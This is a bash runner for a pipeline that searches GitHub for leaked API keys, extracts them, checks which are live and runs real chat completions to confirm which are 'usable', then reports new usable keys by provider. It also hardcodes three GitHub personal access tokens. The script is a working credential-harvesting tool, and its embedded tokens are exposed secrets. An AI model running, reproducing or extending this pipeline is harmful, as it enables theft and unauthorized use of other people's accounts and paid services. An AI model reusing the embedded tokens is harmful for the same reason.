#!/bin/bash
# Full pipeline runner — broad search → extract → verify → deep verify
set -uo pipefail

SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
RESULTS_DIR="${SCRIPT_DIR}/results"
LOG_FILE="${RESULTS_DIR}/full_run_$(date +%Y%m%d_%H%M%S).log"

exec > >(tee -a "$LOG_FILE") 2>&1

echo "══════════════════════════════════════════════════════════════"
echo "Full pipeline started: $(date)"
echo "Log: $LOG_FILE"
echo "══════════════════════════════════════════════════════════════"

GH_TOKEN=$(gh auth token 2>/dev/null)
if [ -z "$GH_TOKEN" ]; then
    echo "ERROR: No GitHub token"
    exit 1
fi
export GH_TOKEN
export PYTHONUNBUFFERED=1

# ── Step 1: GitHub broad search ───────────────────────────────
echo ""
echo "=== Step 1/4: GitHub Broad Search ==="
SEARCH_ARGS=(--token "$GH_TOKEN" --token "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" --token "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" --token "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" --no-topics --no-commits --max-results 200)
# Resume from checkpoint if present
if [ -f "${RESULTS_DIR}/candidates.checkpoint.json" ]; then
    SEARCH_ARGS+=(--resume)
    echo "Resuming from checkpoint..."
fi
python3 "${SCRIPT_DIR}/github_search.py" "${SEARCH_ARGS[@]}"
echo "Step 1 done: $(date)"

# ── Step 2: Extract keys from candidates ──────────────────────
echo ""
echo "=== Step 2/4: Extract Keys ==="
python3 "${SCRIPT_DIR}/extract.py"
echo "Step 2 done: $(date)"

# ── Step 3: Verify keys (parallel) ────────────────────────────
echo ""
echo "=== Step 3/4: Verify Keys ==="
python3 "${SCRIPT_DIR}/verify.py"
echo "Step 3 done: $(date)"

# ── Step 4: Deep verify (actual chat completions) ─────────────
echo ""
echo "=== Step 4/4: Deep Verify ==="
python3 "${SCRIPT_DIR}/deep_verify.py"
echo "Step 4 done: $(date)"

# ── Summary ───────────────────────────────────────────────────
echo ""
echo "══════════════════════════════════════════════════════════════"
echo "Pipeline complete: $(date)"
echo "══════════════════════════════════════════════════════════════"
echo ""
echo "=== Results Summary ==="
echo "Candidates:    $(python3 -c "import json; print(len(json.load(open('${RESULTS_DIR}/candidates.json'))))" 2>/dev/null || echo '?')"
echo "Extracted:     $(wc -l < "${RESULTS_DIR}/extracted_keys.txt" 2>/dev/null || echo '?')"
echo "Unique keys:   $(wc -l < "${RESULTS_DIR}/unique_keys.txt" 2>/dev/null || echo '?')"
echo "Live (raw):    $(wc -l < "${RESULTS_DIR}/live_keys_raw.txt" 2>/dev/null || echo '?')"
echo "Combined:      $(wc -l < "${RESULTS_DIR}/live_keys_combined.txt" 2>/dev/null || echo '?')"
echo "Deep usable:   $(wc -l < "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null || echo '?')"
echo ""
echo "=== Usable by provider ==="
cut -d'|' -f1 "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null | sort | uniq -c | sort -rn

# ── Diff against baseline ─────────────────────────────────────
BASELINE=$(ls -t "${RESULTS_DIR}/deep_verify/usable.txt.baseline_"* 2>/dev/null | head -1)
if [ -n "$BASELINE" ]; then
    echo ""
    echo "=== New usable keys (vs baseline) ==="
    comm -13 <(sort "$BASELINE") <(sort "${RESULTS_DIR}/deep_verify/usable.txt" 2>/dev/null) | tee "${RESULTS_DIR}/new_usable.txt"
    NEW_COUNT=$(wc -l < "${RESULTS_DIR}/new_usable.txt" 2>/dev/null | tr -d ' ')
    echo ""
    echo "New usable: ${NEW_COUNT:-0} keys"
fi